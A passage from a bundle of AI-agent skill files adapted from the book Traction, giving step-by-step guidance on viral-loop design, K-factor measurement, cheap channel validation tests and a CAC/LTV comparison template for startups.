**WHY:** Without baseline K, you're optimizing blind. Every intervention needs a before/after comparison. The K threshold decides whether viral is primary or secondary — K < 0.5 means viral should be a supporting channel, not the main one. Cycle time is often overlooked — two products with the same K but different cycle times have dramatically different growth curves (K=0.9 at 1-day cycle vs K=0.9 at 7-day cycle → very different compounding).
### Step 3: Decompose K to Find the Weakest Variable
**ACTION:** Decompose K further: **K = i × click_through_percentage × signup_percentage**
Measure each component:
- **i** — how many invites are sent per user?
- **click_through_percentage** — how many invite links are clicked?
- **signup_percentage** — of clickers, how many sign up?
Find the weakest variable. That's the optimization target.
**WHY:** Focusing optimization on the wrong variable wastes weeks. If invite rate is healthy (people ARE sharing) but signup conversion is 2%, changing the invite flow doesn't help — the landing page is the problem. Decomposition reveals the actual bottleneck. "Not doing enough A/B tests" is another of the 4 viral mistakes — running tests on the wrong variable is effectively the same failure.
### Step 4: Design Focused Optimization + Check 4 Viral Mistakes
**ACTION:** Run the **4 viral mistakes check** before proposing changes:
1. **Not inherently viral product trying to add viral features** — will the loop work at all? If the product has no plausible sharing hook, stop.
2. **Bad product trying to go viral** — virality accelerates whatever the product is. A bad product + virality = negative reviews spreading faster.
3. **Not enough A/B tests** — assume 1-3 of every 10 tests will yield positive results. Plan accordingly.
4. **Bolting on generic sharing mechanics** — "just add Facebook Like buttons" without understanding user communication is the most common mistake.
If any of the 4 mistakes apply, fix that before optimizing.
Then design focused A/B tests for the weakest variable. Run 2-3 variants for 2-3 weeks at a time. Budget: 1-2 engineers × 2-3 months minimum for serious viral work.
**WHY:** The 4 mistakes prevent wasted optimization cycles. Running 20 A/B tests on the invite flow of a non-viral product produces nothing. Running 20 A/B tests on a healthy invite flow when the bottleneck is signup conversion also produces nothing. The mistakes are named to make them detectable.
### Step 5: Shorten the Viral Cycle Time
**ACTION:** Map the full viral loop — every step between "user takes action" and "new user signs up". Count the steps. Remove any unnecessary step. For each remaining step, ask: "can this be faster?"
Tactics:
- Create urgency (expiring invites, time-limited rewards)
- Remove friction at every funnel step (single-click accept, pre-filled forms, social login)
- Trigger invites at the natural sharing moment (not later)
- Incentivize completion of the next step, not just the final conversion
**WHY:** Cycle time is the most underrated variable. Two products with K = 0.9 but cycle times of 1 day vs 7 days have dramatically different user curves after 30 days. Reducing cycle time by half is equivalent to doubling K for long-term compounding effects. Yet founders obsess over K and ignore cycle time.
## Inputs
- Product description (with sharing hypothesis)
- Current viral metrics (if instrumented)
- Implementation resources (engineers × months)
## Outputs
Four markdown/data files:
1. **`viral-loop-design.md`** — Loop type classification, mechanics, implementation plan
2. **`viral-baseline.md`** — Current K, cycle time, decomposed metrics
3. **`viral-optimization-plan.md`** — Weakest variable, A/B test roadmap, 4 mistakes check
4. **`viral-cycle-time-map.md`** — Full loop steps with friction analysis
## Key Principles
- **K is a formula, not a vibe.** K = i × conversion_percentage. Founders who say "we're going viral" without calculating K are making a category error. WHY: Without numeric K, you can't tell if you're growing virally or just growing. The formula forces clarity.
- **Loop type must match the product's communication pattern.** Generic share buttons on a product users don't naturally discuss is mistake #4. Watch how users ALREADY share the product before designing the loop. WHY: A loop that fights user behavior produces 0% conversion; a loop that amplifies existing behavior compounds.
- **Optimize the weakest link, not the favorite metric.** Founders love to A/B test invite copy. If the bottleneck is signup conversion, invite copy changes nothing. WHY: Decomposition is the only way to find the actual bottleneck. Skipping decomposition is optimization theater.
- **Viral is not a rescue plan for a bad product.** The 4 viral mistakes are explicit: if the product isn't inherently viral, or if the product is bad, virality won't save it — it will accelerate the decline. WHY: This is the most common founder error. Virality is leverage, and leverage works in both directions.
- **Cycle time matters as much as K.** A 7-day cycle and a 1-day cycle with the same K produce radically different growth curves. Shortening cycles is often easier than raising K. WHY: Compounding is about iteration count, not just multiplier. Fast cycles compound more iterations per unit time.
- **Budget 2-3 months for serious viral work.** "Expert teams need 1-2 engineers for 2-3 months minimum to implement and optimize a new viral channel." Viral is not a weekend project. WHY: Shortcuts on viral engineering produce broken loops that look right but don't compound. The time budget is the floor, not the ceiling.
## Examples
**Scenario: File-sharing SaaS adding a referral program**
Trigger: "We're building Dropbox-for-teams. Want to add a referral program. How should it work?"
Process: (1) Loop type: Incentivized Virality fits (Dropbox's original model). Alternative: Collaborative Virality since teams use it together. Decision: combine both — team invites trigger collaborative flow, external referrals get storage credits. (2) Estimate K: assume i=2 (each user invites 2 on average), conversion 30% → K=0.6. Meaningful but not exponential. (3) Decompose: if click-through is 60% and signup is 50%, the weakest variable is signup — optimize that first. (4) 4 mistakes check: product is genuinely collaborative (not mistake 1), product works (not mistake 2), plan weekly A/B tests (not mistake 3), mechanics match how teams actually invite colleagues (not mistake 4). (5) Cycle time: trigger invite moment at "share file with external user" action (natural moment), reward appears at next login (fast).
Output: Clear implementation plan with incentive structure, estimated K baseline, and optimization priority on signup conversion.
**Scenario: Consumer app with K=0.2 — is viral the channel?**
Trigger: "We added a referral feature to our mobile game. Measured K over 30 days: K=0.2. What should we do?"
Process: (1) Loop type: check if current mechanics match the product. If users aren't naturally discussing the game with friends, the incentivized loop was bolted on. (2) K=0.2 is below the 0.5 threshold — viral is not a primary channel. (3) Decompose: low i (users aren't sending invites at all)? Low conversion (invitees click but don't install)? Decomposition reveals the problem. (4) 4 mistakes check: is the product inherently viral? For a mobile game, only if it's multiplayer or has leaderboards. If single-player, viral mechanics are fighting the product's nature. (5) Recommendation: return to Bullseye. Viral as supporting channel only, not primary.
Output: Honest assessment that viral isn't the channel, recommendation to re-run Bullseye with this data.
**Scenario: B2B SaaS considering collaborative virality**
Trigger: "We built a spreadsheet-like analytics tool. Think Figma for data. Should we make it viral?"
Process: (1) Loop type: Collaborative Virality is the clear fit — the product works alone but is 10x more valuable when shared with colleagues. (2) Baseline unknown, but plan the metrics: measure share action rate, external-user signup rate. (3) Decompose from day one: i, click-through, signup separately. (4) 4 mistakes check: product IS inherently collaborative ✓, product quality TBD, budget 2 engineers × 3 months, mechanics match how Figma does it (invite = real seat, not just a link). (5) Cycle time: optimize "share moment" UX so it happens naturally mid-workflow, not as a separate step.
Output: Loop type decision, Figma-inspired mechanics plan, instrumentation requirements for baseline measurement.
## References
- For the full 7-type viral loop taxonomy with examples, see [references/viral-loop-types.md](references/viral-loop-types.md)
- For the 4 viral mistakes in detail, see [references/viral-mistakes.md](references/viral-mistakes.md)
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Traction: A Startup Guide to Getting Customers by Gabriel Weinberg and Justin Mares.
## Related BookForge Skills
Install related skills from ClawhHub:
- `clawhub install bookforge-bullseye-channel-selection` — Select viral deliberately, don't default to it
- `clawhub install bookforge-traction-channel-testing` — Baseline K and A/B test discipline
- `clawhub install bookforge-content-and-email-marketing` — Referral emails are part of the viral loop
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/viral-loop-types.md
# The 7 Viral Loop Types
Complete taxonomy from Chapter 6 of *Traction*. Each loop type has distinct mechanics, strengths, and product-fit criteria.
## 1. Word of Mouth
**Mechanics:** Users spontaneously tell others because the product is remarkable. Nothing engineered.
**Examples:** Early Facebook (before engineered loops), books, TV shows, genuinely surprising products.
**Fit:** Works when product is genuinely 10x better or uniquely memorable.
**K-factor signal:** Very hard to measure directly; often inferred from organic growth that isn't attributable to any channel.
**Caveat:** Cannot be a primary strategy — too uncontrollable.
## 2. Inherent Virality (Necessity Virality)
**Mechanics:** Product is worthless without other users. Inviting others is a functional requirement.
**Examples:** Skype, WhatsApp, Snapchat, Zoom.
**Fit:** Communication/social products where single-user value is zero.
**K-factor signal:** Strong if product is used. Users MUST invite others to get value.
**Caveat:** Hard cold-start problem — the first users get no value until others join.
## 3. Collaborative Virality
**Mechanics:** Product works alone but becomes substantially more valuable when shared with others. Users invite collaborators because collaboration is the natural workflow.
**Examples:** Google Docs, Figma, Notion, Dropbox (team use).
**Fit:** Productivity tools, creative tools, team workflows.
**K-factor signal:** Moderate to strong. Sharing happens mid-workflow, not as a separate marketing act.
**Advantage:** No cold-start problem (single-user value exists).
## 4. Communicative Virality
**Mechanics:** Messages the user sends via the product carry the product's branding. Every communication is a passive ad.
**Examples:** Hotmail "Get free email" signature, "Sent from my iPhone", MailChimp "powered by" branding on free tier, early Gmail signatures.
**Fit:** Communication products where users naturally send messages.
**K-factor signal:** Strong if messaging volume is high. Free tier users become distribution.
**Implementation:** Passive — added as default, opt-out costs the user something.
## 5. Incentivized Virality
**Mechanics:** Explicit reward for successful referrals. Both referrer and referred get something.
**Examples:** Dropbox (extra storage), Uber/Lyft ($ credits), Airbnb ($ travel credit), PayPal (cash), Gilt (early invites).
**Fit:** Products with clear unit economics where CAC-via-referral is less than traditional CAC.
**K-factor signal:** Tunable — incentive size adjusts K.
**Implementation:** Must track attribution carefully; fraud prevention matters.
## 6. Embedded / Widget Virality
**Mechanics:** Share buttons, embed codes, widgets that place the product on other sites. Each embed is a distribution point back to the product.
**Examples:** YouTube embed codes, Pinterest "Pin It" buttons, reddit widget, Twitter embed, Google Maps embed.
**Fit:** Content, media, utility products with natural embed surfaces.
**K-factor signal:** Compounds over time — each embed is persistent distribution.
**Advantage:** Asynchronous and SEO-contributing.
## 7. Social (Broadcasting) Virality
**Mechanics:** User activity is broadcast to their social network (Facebook, Twitter, Instagram).
**Examples:** Spotify plays on Facebook, Strava runs shared, Nike running app shares, early Pinterest pins.
**Fit:** Products that produce shareable artifacts (songs, runs, photos, achievements).
**K-factor signal:** Dependent on platform policy — Facebook et al periodically tighten or loosen these.
**Caveat:** Platform dependency risk (Zynga on Facebook is the cautionary tale).
## Choosing Between Types
- **Can users invite others by default?** → Communicative (Hotmail model)
- **Does the product require multiple users to work?** → Inherent
- **Is collaboration the natural use case?** → Collaborative
- **Do users share artifacts outside the product?** → Embedded or Social
- **Are unit economics strong enough to pay for referrals?** → Incentivized
- **Is the product so remarkable it spreads on its own?** → Word of Mouth (but don't plan on this)
## Combining Types
Many products use 2-3 loop types together. Dropbox combines:
- Incentivized (storage for referrals)
- Collaborative (team file sharing)
- Embedded (shared file links)
Each loop type produces growth on a different substrate. Combining them multiplies effects without cannibalizing (when designed well).
## Source
Chapter 6 ("Viral Marketing") of *Traction* by Gabriel Weinberg and Justin Mares.
FILE:references/viral-mistakes.md
# The 4 Viral Mistakes
Andrew Chen's named failure modes for viral marketing, from Chapter 6 of *Traction*.
## Mistake 1: Non-Viral Products Trying to Add Viral Features
**What it looks like:** Building a product that has no inherent sharing value, then trying to bolt viral mechanics on top.
**Why it fails:** Viral features don't create sharing — they amplify existing sharing behavior. A product nobody naturally mentions to friends will not suddenly be mentioned because you added a "refer a friend" button.
**Detection:** Ask "Would users tell their friends about this product even without any viral feature?" If no, the product isn't inherently viral. Viral mechanics will produce K = 0.05, not K = 1.
**Fix:** Go back to product-market fit work. Viral is not the answer.
## Mistake 2: Bad Products Trying to Go Viral
**What it looks like:** Building viral mechanics into a product that isn't actually good, hoping volume will compensate.
**Why it fails:** Virality accelerates *whatever* the product is — including bad reviews, negative word of mouth, and user disappointment. A bad product with virality fails faster, more visibly, and more publicly.
**Detection:** Check retention and satisfaction metrics BEFORE investing in viral features. If users don't stick, virality will make things worse, not better.
**Fix:** Fix the product first. Virality is leverage; leverage on a broken foundation collapses.
## Mistake 3: Not Running Enough A/B Tests
**What it looks like:** Building one version of the viral loop, launching it, and calling it done. Or running 1-2 A/B tests and giving up.
**Why it fails:** Assume only 1-3 out of every 10 A/B tests will yield positive results. If you run 2 tests and neither works, that's expected — not a signal that viral is broken. You need 10+ tests to see meaningful improvement.
**Detection:** How many A/B tests has the team run on the viral loop in the last 4 weeks? If fewer than 2 per week, the cadence is too slow.
**Fix:** Establish a weekly A/B testing cadence. Focus on one variable at a time (invite copy, reward size, landing page). Measure each test for 1-2 weeks minimum.
## Mistake 4: Bolting On Generic Sharing Mechanics Without Understanding How Users Communicate
**What it looks like:** Adding Facebook Like buttons, Twitter share buttons, email invite forms — generic mechanics without asking how users actually talk to each other about the product.
**Why it fails:** Generic mechanics are invisible. Users who share via Slack, iMessage, or direct conversation don't click a Facebook share button. The share button is dead weight.
**Detection:** Interview 10 users. Ask: "If you wanted to tell a friend about this product, how would you do it?" If their answer doesn't involve your sharing features, you have the wrong features.
**Fix:** Match sharing mechanics to actual user communication patterns. If users share via iMessage, provide an iMessage-friendly share format. If they share via Slack, provide a Slack preview-ready link. Stop assuming Facebook.
## The Fifth (Implied) Mistake
**Not getting coaching or guidance from people who have successfully built viral products.** Viral loop design is specialized expertise. Most founders under-invest in learning from people who have actually shipped working loops.
**Fix:** Find advisors who have built viral products. Ask them to audit your loop design BEFORE you implement.
## How They Connect
These 4 (5) mistakes describe the complete failure mode tree. Mistakes 1 and 2 are product-level problems (wrong foundation). Mistake 3 is a process problem (insufficient iteration). Mistake 4 is a design problem (wrong mechanics). Together they cover most of the ways viral projects fail.
## Source
Chapter 6 ("Viral Marketing") of *Traction* by Gabriel Weinberg and Justin Mares, citing Andrew Chen.
Design and run cheap validation tests for customer acquisition channels before committing budget. Use whenever a startup founder, growth marketer, or product...
---
name: traction-channel-testing
description: "Design and run cheap validation tests for customer acquisition channels before committing budget. Use whenever a startup founder, growth marketer, or product leader needs to test a marketing channel, validate CAC and LTV assumptions, set up A/B testing, calculate whether a channel can hit growth targets, measure channel performance, detect a saturating channel (Law of Shitty Click-Throughs), decide whether to optimize or abandon a channel, or compare channels quantitatively. Activates on phrases like 'test a channel', 'cheap test', 'CAC', 'customer acquisition cost', 'LTV', 'lifetime value', 'A/B test', 'does this channel work', 'how do I know if this is working', 'conversion rate', 'channel metrics', 'measure marketing', 'channel saturation', 'Law of Shitty Click-Throughs'."
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/traction/skills/traction-channel-testing
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
source-books:
- id: traction
title: "Traction: A Startup Guide to Getting Customers"
authors: ["Gabriel Weinberg", "Justin Mares"]
chapters: [5]
domain: startup-growth
tags: [startup-growth, channel-testing, ab-testing, customer-acquisition-cost, growth-metrics]
depends-on: []
execution:
tier: 1
mode: hybrid
inputs:
- type: document
description: "Channel hypothesis, budget, current tracking setup"
tools-required: [Read, Write]
tools-optional: [AskUserQuestion]
mcps-required: []
environment: "Plain-text working directory for test plans and results tracking"
discovery:
goal: "Design and evaluate cheap channel tests that produce actionable CAC, volume, and quality data"
tasks:
- "Verify tracking/reporting is in place before testing"
- "Design the 4-question inner-circle test per channel"
- "Set up CAC/LTV comparison spreadsheet"
- "Run the needle-moving volume calculation"
- "Detect channel saturation via the Law of Shitty Click-Throughs"
- "Transition from validation to A/B optimization after channel validated"
audience:
roles: [startup-founder, growth-marketer, head-of-marketing]
experience: beginner-to-intermediate
when_to_use:
triggers:
- "User wants to test a channel before committing"
- "User is unsure if current channel is still working"
- "User has proposed A/B tests on unvalidated channel"
prerequisites: []
not_for:
- "User has not yet selected channels to test (use bullseye-channel-selection first)"
environment:
codebase_required: false
codebase_helpful: false
works_offline: true
quality:
scores:
with_skill: null
baseline: null
delta: null
tested_at: null
eval_count: 0
assertion_count: 12
iterations_needed: 0
---
# Traction Channel Testing
## When to Use
You need to test a customer acquisition channel — either validating a new channel or measuring an existing one. Before starting, verify:
- The user has at least one specific channel hypothesis to test (e.g., "Facebook Ads" not "social media")
- Some minimum budget exists ($250 or more per channel)
- The user is clear on the traction goal the channel should contribute to
If the user hasn't selected channels yet, run `bullseye-channel-selection` first.
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Channel to test:** a specific channel, not a category
→ Check prompt for: specific channel names (SEM, SEO, Targeting Blogs, etc.)
→ If vague ("marketing", "ads"), ask: "Which specific channel do you want to test? For example: Google SEM on category keywords, sponsored posts on 3 niche blogs, cold email to 200 enterprise leads?"
- **Test budget:** dollar amount available
→ Check prompt for: "$X", "budget", "can spend"
→ If missing, ask: "What budget is available for the test? Even $250-500 per channel is enough to start."
- **Traction goal the channel must contribute to:** the number the test is trying to validate against
→ Check prompt for: "need X customers", "goal is Y"
→ If missing, ask: "What traction goal does this channel need to help hit? Something like '1,000 signups this quarter' or '$10k MRR in 3 months'."
### Observable Context
- **Tracking system status:** does the user already measure signups, conversions, revenue?
- **Prior channel tests:** what has been tried before, with what results?
- **Unit economics:** rough CAC and LTV if known
### Default Assumptions
- Tests cost $250-$500 each per channel
- First tests are *validation* not *optimization* (4 ads, not 40)
- Conversion rate assumption is 1-5% unless the user has data
- Tracking must exist BEFORE the first test — no exceptions
### Sufficiency Threshold
```
SUFFICIENT: channel + budget + traction goal known, tracking in place
PROCEED WITH DEFAULTS: channel + budget known, assume tracking is a spreadsheet
MUST ASK: no tracking exists (stop and build it first)
```
## Process
Use TodoWrite:
- [ ] Step 1: Verify tracking/reporting infrastructure
- [ ] Step 2: Design the 4-question validation test
- [ ] Step 3: Run needle-moving calculation
- [ ] Step 4: Execute and capture data
- [ ] Step 5: Decide — A/B optimize, abandon, or iterate
### Step 1: Verify Tracking Before Testing
**ACTION:** Confirm the user has a tracking system in place for the metrics the test will produce. At minimum:
- Signups or conversions trackable per source
- Cost per source measurable (ad spend, sponsorship $, etc.)
- A spreadsheet is fine — it does not need to be a fancy analytics platform
If no tracking exists, STOP testing. Help the user build a minimum tracking spreadsheet first: `source | spend | conversions | CAC` as the starting columns.
**WHY:** Sean Ellis: "Don't start testing until your tracking/reporting system has been implemented." A test with no measurement is a waste of budget. Worse, an untracked test gives false confidence — founders assume success or failure based on vibes, not data. Tracking is the non-negotiable prerequisite.
**IF** tracking exists but is inconsistent (e.g., signups tracked but source attribution broken) → fix attribution first. UTM parameters on every link are the minimum.
### Step 2: Design the 4-Question Validation Test
**ACTION:** For the channel being tested, design an experiment that answers these four questions:
1. **How much does it cost to acquire customers through this channel?** (CAC)
2. **How many customers are available through this channel?** (Volume)
3. **Are these the customers you want right now?** (Quality/fit)
4. **How long does it take to acquire a customer through this channel?** (Time-to-acquire)
Set the test budget to $250-$500 per channel. Keep it small on purpose. Write hypothesis, setup, duration, and success thresholds to `channel-test-plan.md`.
Critically: this is a **validation** test, not an **optimization** test. Four ads, not forty. One landing page, not ten. Goal: determine whether the channel can work at all, not whether it's perfectly tuned.
**WHY:** Founders confuse validation and optimization. They A/B test forty ad variants on a channel they haven't proved works, wasting weeks and thousands of dollars to discover the channel was fundamentally wrong. Validation tests cost $250 and answer a binary question: signal or no signal. Only after signal appears should A/B optimization begin.
**IF** the channel is SEM → a $250 AdWords buy is enough to get a rough CAC estimate.
**IF** the channel is Targeting Blogs → sponsor 1-2 mid-tier blogs, measure clicks and signups.
**IF** the channel is Cold Sales → 100 personalized cold emails, measure reply and qualified-lead rates.
### Step 3: Run the Needle-Moving Volume Calculation
**ACTION:** Before launching, do a back-of-envelope calculation: **can this channel plausibly hit the traction goal?**
Formula: (target new customers) ÷ (assumed conversion rate 1-5%) = audience you need to reach
Example: need 100,000 new customers → at 1-5% conversion, you need to reach 2-10 million people. Does the channel even have that audience?
If the channel's maximum reach can't support the math, there's no point testing it for this goal. Move on.
**WHY:** This is the math check that prevents wasted tests. Running a $500 targeted blog test for a Phase III company that needs 100,000 new users is a waste — even at 5% conversion, no single blog reaches the audience required. Filtering by volume before testing saves budget for channels that could actually matter.
**IF** math doesn't work → either downsize the goal, or pick a different channel. Don't run the test.
**IF** math works with headroom → proceed to the test.
### Step 4: Execute and Capture Data
**ACTION:** Run the test for the timeframe set in the plan. During the test:
- Do NOT change variables mid-test
- Do NOT add more budget if early results look bad
- Do NOT start optimizing before the validation phase completes
After the test, record results in `channel-test-results.md` with:
- CAC (actual cost ÷ actual conversions)
- Volume (conversions in the test period)
- Customer quality (engagement, activation, fit signals)
- Time-to-acquire (days from first touch to conversion)
Add the channel as a new row in the master `channel-comparison.csv` with columns: channel, CAC, LTV (estimated), volume, quality_score, status.
**WHY:** Mid-test tampering destroys the signal. Extending budgets inflates the baseline. Optimizing before validating confuses two separate questions. Discipline during execution is what produces trustworthy data. The `channel-comparison.csv` is the universal spreadsheet the book recommends — CAC vs LTV per channel is how you compare channels at a glance.
### Step 5: Decide — Optimize, Abandon, or Iterate
**ACTION:** Based on test results, make one of three decisions:
1. **Optimize (A/B test):** Signal is clear (CAC < LTV, volume sufficient, customer quality good). Start A/B testing to improve the channel. Target cadence: 1 A/B test per week → 2-3x improvement over time.
2. **Abandon:** Signal is absent (CAC > LTV, or volume can't scale, or customer quality poor). Cut the channel. Write what you learned in `channel-postmortem.md` — the data is still valuable for the next Bullseye cycle.
3. **Iterate validation:** Signal is ambiguous. Run a second validation test with a refined hypothesis (different audience, different creative, different offer). Budget: another $250-$500.
Apply the **Law of Shitty Click-Throughs** check: even on channels that look good, ask "is this a channel about to saturate?" Plan continuous small experiments even in working channels.
**WHY:** The transition from validation to optimization is where most discipline breaks down. Founders who see early promising signal jump to full-scale investment before validating at the right scale. Founders who see weak signal keep pouring money in hoping to see improvement. The three-way decision is a forcing function. The Shitty CTR check is important because every channel degrades over time — a channel that's great today is saturating tomorrow.
**IF** optimizing → set up a weekly A/B test cadence. Focus variables: subject lines, ad copy, landing page headlines, call-to-action, imagery.
**IF** abandoning → make sure the learning is captured. The book: "Consistently running cheap tests will allow you to stay ahead of competitors pursuing the same channels."
## Inputs
- Channel hypothesis (specific channel + tactic)
- Test budget ($250-500 per channel minimum)
- Traction goal
- Tracking/reporting system status
## Outputs
Four markdown/csv files:
1. **`channel-test-plan.md`** — hypothesis, budget, 4-question test design, timeline
2. **`channel-test-results.md`** — CAC, volume, quality, time-to-acquire per tested channel
3. **`channel-comparison.csv`** — universal spreadsheet with CAC/LTV per channel
4. **`channel-decision.md`** — Optimize / Abandon / Iterate decision with reasoning
## Key Principles
- **Validation before optimization.** Cheap tests answer "does this channel work at all?" A/B testing answers "how do I make this channel work better?" Mixing them wastes weeks. WHY: 80% of channel failure shows up at validation. Optimizing something that will fail validation is pure waste.
- **Four questions, not forty metrics.** CAC, volume, quality, time-to-acquire. Extra metrics are noise at the validation stage. WHY: Limiting metrics keeps the test interpretable. A pass/fail answer from four numbers is better than an ambiguous answer from twenty.
- **Tracking is the prerequisite, not an afterthought.** No tracking = no test. Sean Ellis explicitly warns against running tests before instrumentation. WHY: Untracked tests give false confidence. Worse, they destroy the signal for the next test — you learn nothing, but your budget is gone.
- **The Law of Shitty Click-Throughs is always in effect.** Every channel degrades over time. Even working channels need continuous small experiments to detect saturation early. WHY: The moment you stop testing a working channel, a competitor or a shift in the platform can make it unproductive before you notice. Continuous validation is cheaper than catching saturation late.
- **$250 is enough for an initial signal on SEM.** Scale the budget to the channel — $250 on AdWords, $500 on a blog sponsorship, 100 emails for cold sales — but keep the validation budget small by design. WHY: Cheap forces you to ask "can this work at scale?" Expensive forces you to justify the spend, which biases interpretation.
## Examples
**Scenario: B2B SaaS founder wants to test SEM**
Trigger: "I want to run Google Ads to test SEM as a channel. We sell a $99/month project management tool. Budget: $500 for the test. Goal: 200 paying customers in 90 days."
Process: (1) Tracking check — founder has a CRM with source attribution, good. (2) Needle calc: 200 customers / 3% assumed conversion = 6,667 clicks needed. At $2/click = $13,334 budget at full scale. $500 test can produce ~250 clicks = maybe 5-8 customers. That's enough signal. (3) 4-question test designed: 4 ads, 1 landing page, 5 keyword groups, 2 weeks duration. (4) Run: $487 spent, 243 clicks, 9 signups, 4 paying. CAC = $122 vs $99 price × 12-month average retention = $1,188 LTV. Healthy ratio. (5) Decision: Optimize. Weekly A/B tests on ad copy and landing page headline. Scale budget to $3k/month.
Output: Clear validation → optimization decision with CAC vs LTV math.
**Scenario: Consumer app considering Targeting Blogs**
Trigger: "We want to try sponsored posts on fitness blogs. We have $800 to test. Our mobile fitness app needs to hit 10,000 new users this quarter."
Process: (1) Tracking — in-app attribution via source-tagged download links, OK. (2) Needle calc: 10,000 users / 2% conversion = 500k reach needed. Top 3 fitness blogs reach ~800k/month combined. Math works. (3) Test: 2 sponsored posts on 2 mid-tier blogs, $400 each, 1 week duration. Measure click-throughs and downloads. (4) Run: Blog A = 1,240 clicks → 31 downloads (CAC $13). Blog B = 340 clicks → 6 downloads (CAC $67). (5) Decision: Blog A clearly works, Blog B doesn't. Optimize on Blog A (sponsor monthly), explore similar fitness blogs.
Output: Clear winner, clear loser, next-stage plan.
**Scenario: Detecting a saturating channel**
Trigger: "Our Facebook ads have been great for 18 months. CAC was $15. Now it's $28 and climbing. Should we panic?"
Process: (1) This is the Law of Shitty Click-Throughs in action. Don't panic but don't ignore it. (2) Re-run the 4 questions: CAC up ($28), volume flat, quality similar, time-to-acquire same. (3) Check LTV — is $28 still profitable? If LTV is $300, $28 is fine but trajectory matters. (4) Decision: Run 2-3 small tests on adjacent channels NOW while Facebook still works. Don't wait until Facebook is unprofitable. (5) Parallel experiments: $250 on TikTok ads, $250 on YouTube preroll, $250 on 1 niche influencer. See which has signal.
Output: Recognition of saturation, parallel discovery of next channel before the primary fails.
## References
- For the universal CAC/LTV comparison spreadsheet template, see [references/channel-comparison-template.md](references/channel-comparison-template.md)
- For the Law of Shitty Click-Throughs in detail, see [references/law-of-shitty-clickthroughs.md](references/law-of-shitty-clickthroughs.md)
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Traction: A Startup Guide to Getting Customers by Gabriel Weinberg and Justin Mares.
## Related BookForge Skills
Install related skills from ClawhHub:
- `clawhub install bookforge-bullseye-channel-selection` — Choose which channels to test in the first place
- `clawhub install bookforge-startup-traction-strategy-by-phase` — Ensure the channel matches your startup phase
- `clawhub install bookforge-sem-performance-optimization` — Deep-dive into SEM-specific metrics and optimization
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/channel-comparison-template.md
# Channel Comparison Spreadsheet Template
The universal CAC/LTV spreadsheet. Every channel tested should appear as a row.
## Minimum Columns
```csv
channel,test_spend,conversions,CAC,estimated_LTV,LTV_CAC_ratio,volume_available,quality_score,time_to_acquire_days,status,notes
```
## Definitions
- **channel** — Specific channel AND tactic (e.g., "SEM - category keywords" not just "SEM")
- **test_spend** — Total dollars spent during the validation test
- **conversions** — Customers acquired in the test (definition must match your product's conversion event)
- **CAC** — test_spend ÷ conversions
- **estimated_LTV** — rough lifetime value per customer (monthly price × average retention months)
- **LTV_CAC_ratio** — Rule of thumb: healthy channel has LTV:CAC of 3:1 or better
- **volume_available** — realistic ceiling of customers per month the channel can produce at CAC
- **quality_score** — 1-5 subjective rating of customer fit (do they stick, do they match ICP)
- **time_to_acquire_days** — days from first touch to conversion
- **status** — one of: testing / validated / optimizing / saturating / abandoned
- **notes** — any relevant context (saturation signals, test learnings, etc.)
## Example
```csv
SEM - category keywords,$487,9,$54,$1188,22:1,2000/mo,4,3,validated,good signal - scale next
Facebook Ads - lookalike,$500,2,$250,$1188,4.8:1,5000/mo,2,7,abandoned,quality low, churn 60d
Sponsored blog - industry niche,$400,31,$13,$1188,91:1,150/mo,5,1,optimizing,volume ceiling low
```
## Why This Shape
The book's central channel-comparison insight: CAC and LTV are the minimum columns needed to compare channels. Everything else is helpful context. If CAC is above LTV, the channel can't work. If CAC is below LTV, it can work — and then the question becomes volume.
## Source
Chapter 4 ("Traction Testing") of *Traction* by Gabriel Weinberg and Justin Mares.
FILE:references/law-of-shitty-clickthroughs.md
# The Law of Shitty Click-Throughs
Coined by Andrew Chen: **"Over time, all marketing strategies result in shitty click-through rates."**
## What It Means
Every marketing channel saturates. As more companies discover a working tactic, it becomes crowded, expensive, or ignored. A tactic that worked 6 months ago is already degrading today.
## The Evidence
- **Banner ads:** Early click-through rates >75%. Today: fractions of 1%.
- **Facebook ads:** Zynga's early dominance impossible to replicate now — too expensive, too crowded.
- **Early email marketing:** Once a high-performing channel, now fighting spam filters and user apathy.
## The Pattern
1. A new channel or tactic emerges
2. Early movers get exceptional returns
3. Success attracts competitors
4. Competition drives up costs and down returns
5. The channel becomes either saturated (too expensive) or irrelevant (users tune it out)
## The Counter
- **Continuous cheap testing.** Even in working channels, run small experiments. Detect saturation early.
- **Horizon scanning.** Watch for emerging platforms/tactics before competitors.
- **Early-mover discipline.** Leverage new platforms while they're still cheap.
## Practical Detection Signals
- CAC rising month-over-month with no other changes
- CTR falling on the same creative
- Conversion rates falling despite steady traffic quality
- Competitors showing up in the same space
- Diminishing returns on added budget
## What To Do When Detected
1. **Don't panic** — if the channel is still profitable, keep harvesting but plan exit
2. **Run parallel validation tests** on 2-3 adjacent channels immediately
3. **Re-enter Bullseye** with the current data informing the next brainstorm
4. **Accept channel lifecycle** — no channel is forever
## Strategic Implication
The channel you're relying on today is saturating. The question isn't *if* but *when*. Running continuous cheap tests in adjacent channels is how you catch the next wave before your current wave crashes.
> "Consistently running cheap tests will allow you to stay ahead of competitors pursuing the same channels. The solution to solving the Law of Shitty Click-Throughs, even momentarily, is to discover the next untapped marketing strategy." — Andrew Chen
## Source
Chapter 4 ("Traction Testing") of *Traction* by Gabriel Weinberg and Justin Mares, citing Andrew Chen.
Guide startup growth strategy by diagnosing which phase the startup is in (Phase I: making something people want, Phase II: marketing something people want,...
---
name: startup-traction-strategy-by-phase
